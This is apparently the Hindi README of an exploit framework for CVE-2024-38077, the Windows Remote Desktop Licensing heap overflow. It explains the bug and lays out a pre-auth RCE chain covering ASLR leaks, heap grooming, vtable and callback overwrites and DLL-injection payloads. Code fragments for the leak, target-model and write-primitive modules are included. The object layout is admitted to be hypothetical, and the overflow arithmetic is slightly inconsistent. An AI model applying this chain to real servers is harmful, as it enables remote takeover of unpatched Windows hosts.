ermensonx/cve-2024-38077-madlicense-exploitCVE-2024-38077 (Windows RDL heap overflow) के लिए modular exploit framework, जिसमें ASLR bypass, heap grooming, ROP chain generation, और DLL injection payloads शामिल हैं, pre-auth remote code execution के लिए।
यह दस्तावेज़ ढाँचे के प्रत्येक घटक को समझाता है, वे क्यों मौजूद हैं, और आधुनिक विंडोज़ में हीप बफर ओवरफ़्लो का शोषण कैसे काम करता है।
विंडोज़ रिमोट डेस्कटॉप लाइसेंसिंग सेवा (lserver.exe) में CDataCoding::DecodeData फ़ंक्शन में हीप बफर ओवरफ़्लो है।
┌─────────────────────────────────────────────────────────────┐
│ भेद्यता: गलत आकार गणना │
├─────────────────────────────────────────────────────────────┤
│ 1. क्लाइंट आकार N का Base64 डेटा भेजता है │
│ 2. सर्वर गणना करता है: buffer_size = (N / 4) * 3 │
│ 3. सर्वर 'buffer_size' बाइट्स का बफर आवंटित करता है │
│ 4. वास्तविक Base64 डिकोड लिखता है: ceil(N * 3/4) बाइट्स │
│ 5. यदि N, 4 का गुणज नहीं है: अतिप्रवाह! │
└─────────────────────────────────────────────────────────────┘
ठोस उदाहरण:
(4001 / 4) * 3 = 1000 * 3 = 3000 बाइट्स आवंटितceil(4001 * 0.75) = 3001 बाइट्स लिखे┌─────────────────────────────────────────────────────────────────┐
│ शोषण श्रृंखला │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG जागरूकता) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (ऑर्केस्ट्रेटर) │
└───────────────────────────────────────────────────────────┘
primitives.py - आधारमेमोरी हेरफेर के लिए निम्न-स्तरीय उपयोगिताएँ।
शोषण को चाहिए:
# Pack/Unpack - पूर्णांकों को बाइट्स में और इसके विपरीत रूपांतरित करें
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# चक्रीय पैटर्न - क्रैश ऑफ़सेट की पहचान करने के लिए
cyclic(100) # De Bruijn अनुक्रम उत्पन्न करता है
cyclic_find(pattern, value) # मान का ऑफ़सेट ढूँढता है
# संरेखण - मेमोरी को संरेखित होना चाहिए
align(0x1003, 0x10) # → 0x1010 (16 बाइट्स में संरेखित)
वास्तविक समस्या: आप क्रैश का कारण बनते हैं और RIP में 0x61616171 होता है।
cyclic_find(pattern, 0x61616171) → सटीक ऑफ़सेट!leak.py - ASLR को बायपास करनाएड्रेस स्पेस लेआउट रैंडमाइज़ेशन: प्रत्येक बूट/निष्पादन पर पते बदल जाते हैं।
बूट 1: ntdll.dll @ 0x7FFA12340000
बूट 2: ntdll.dll @ 0x7FFB98760000
बूट 3: ntdll.dll @ 0x7FFC55550000
मेमोरी कहाँ है यह जाने बिना:
class LeakInfo:
"""लीक किए गए पतों के लिए कंटेनर"""
heap_base: int # हीप का आधार
ntdll_base: int # ntdll.dll का आधार
kernel32_base: int # kernel32.dll का आधार
# ...
class LeakProvider:
"""लीक स्रोतों का ऑर्केस्ट्रेटर"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# प्रत्येक स्रोत को तब तक आज़माएँ जब तक सफल न हो जाए
| स्रोत | यह कैसे काम करता है | कब उपयोग करें |
|---|---|---|
ManualLeakSource | उपयोगकर्ता पते प्रदान करता है | लैब/डिबग लक्ष्य तक पहुँच के साथ |
ResponseLeakSource | RPC प्रतिक्रियाओं से निकालता है | यदि सेवा पॉइंटर्स लीक करती है |
TimingLeakSource | समय-पक्ष चैनल | सैद्धांतिक, बहुत कठिन |
प्रदर्शनों/लैब में, आप कर सकते हैं:
--ntdll-base 0x7ffa... के माध्यम से प्रदान करेंयह वास्तविक लीक होने का अनुकरण करता है, जिससे आप शेष श्रृंखला का परीक्षण कर सकते हैं।
target_model.py - लक्ष्य मानचित्रणभेद्य और आसन्न डेटा संरचनाओं की मॉडलिंग।
अतिप्रवाह ≠ शोषण। हमें जानना होगा:
class VulnerableBuffer:
"""वह बफर जो अतिप्रवाह का शिकार होगा"""
allocation_size: int # कितना आवंटित किया गया
write_size: int # कितना लिखा जाएगा
overflow_amount: int # अंतर = अतिप्रवाह
def calculate_overflow(input_size):
# गणना बग का अनुकरण
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""वह वस्तु जो भ्रष्ट होगी (हीप में आसन्न)"""
fields: List[StructField]
has_vtable: bool # क्या इसमें वर्चुअल तालिका है?
has_function_ptr: bool # क्या इसमें फ़ंक्शन पॉइंटर है?
# रिवर्स इंजीनियरिंग पर आधारित काल्पनिक वस्तु
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# मैप किए गए क्षेत्र
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True क्यों?शोषण के लिए उपयोगी क्षेत्रों को चिह्नित करता है:
vtable: यदि हम अधिलेखित करते हैं, तो हम विधि कॉल को नियंत्रित करते हैंcallback: यदि हम अधिलेखित करते हैं, तो हम नियंत्रित करते हैं कि कॉलबैक कब कॉल किया जाता हैwrite_primitive.py - नियंत्रित लेखनअतिप्रवाह अनुक्रमिक डेटा लिखता है। लेकिन हमें चाहिए:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
सटीक मानों के साथ अतिप्रवाह बफर बनाता है
लेआउट:
[ऑफ़सेट तक PADDING] [नियंत्रित मान] [अधिक डेटा]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# सटीक ऑफ़सेट पर सटीक मान रखें
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)